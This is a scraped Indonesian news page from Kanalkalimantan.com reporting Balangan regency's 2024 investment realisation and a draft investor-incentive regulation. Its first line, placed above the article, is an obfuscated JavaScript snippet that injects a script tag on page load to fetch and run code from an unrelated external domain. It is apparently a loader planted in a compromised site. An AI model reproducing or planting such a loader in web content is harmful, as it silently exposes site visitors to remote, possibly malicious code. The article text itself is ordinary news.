(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menetapkan target yang harus dicapai pada 2024, salah satunya target penanaman modal dari investor sebesar Rp610 miliar.
Kepala DPMPTSP Balangan Akhriani melalui Sekretaris Agus Muslim menyatakan hingga triwulan kedua tahun 2024 angka realisasi investasi daerah sudah mencapai lebih dari Rp370 miliar atau sekitar 60 persen dari target.
“Alhamdulillah, sampai triwulan kedua ini angka investasi yang direalisasikan daerah sudah mencapai lebih dari Rp370 miliar atau sekitar 60 persen,†ujar Agus, Selasa (16/7/2024).
Agus menambahkan para investor tersebut berasal dari berbagai perusahaan dengan klasifikasi besar, menengah, maupun kecil. DPMPTSP Balangan terus mendorong agar seluruh pelaku usaha penanaman modal di Kabupaten Balangan melaporkan kegiatan penanaman modal mereka, karena laporan tersebut penting untuk mencatat angka realisasi investasi daerah.
Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru
“Kami terus mendorong agar seluruh pelaku usaha penanaman modal di Kabupaten Balangan melaporkan kegiatan penanaman modal mereka, karena dari laporan tersebut muncul angka realisasi investasi daerah,†tambahnya.
Untuk mendukung pencapaian target tersebut, DPMPTSP memberikan bimbingan teknis kepada para pelaku usaha dalam pelaporan kegiatan penanaman modal mereka serta melakukan pengawasan investasi di daerah.
“Kami jemput bola kepada para pengusaha lokal maupun pengusaha besar yang ada di Balangan,†jelas Agus.
DPMPTSP Balangan memiliki program pengembangan iklim penanaman modal yang bertujuan agar para investor memilih Kabupaten Balangan untuk menanamkan modal. Salah satu terobosan dalam program ini adalah rancangan perda terkait pemberian insentif dan kemudahan berusaha di Kabupaten Balangan.
Dia menekankan melalui perda tersebut, para investor akan diberikan insentif untuk mengembangkan usaha mereka di Kabupaten Balangan. Saat ini, rancangan perda tersebut sedang dalam proses harmonisasi di Kementerian Hukum dan HAM setelah mendapat persetujuan akhir dari DPRD.
Baca juga: Berikan Bonus Atlet Popda 2024, Ini Kata Sekda HSU
“Rancangan Perda ini masih dalam proses dan beberapa minggu lalu sudah mendapat pembahasan akhir di DPRD serta telah disepakati. Saat ini masih diharmonisasi di Kementerian Hukum dan HAM,†jelasnya.
Pihaknya yakin jika perda tersebut sudah disahkan, dapat menjadi daya tarik bagi calon investor, baik lokal maupun regional, untuk menanamkan modal mereka di Kabupaten Balangan. (Kanalkalimantan.com/mcbalangan)
Reporter: mcbalangan
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.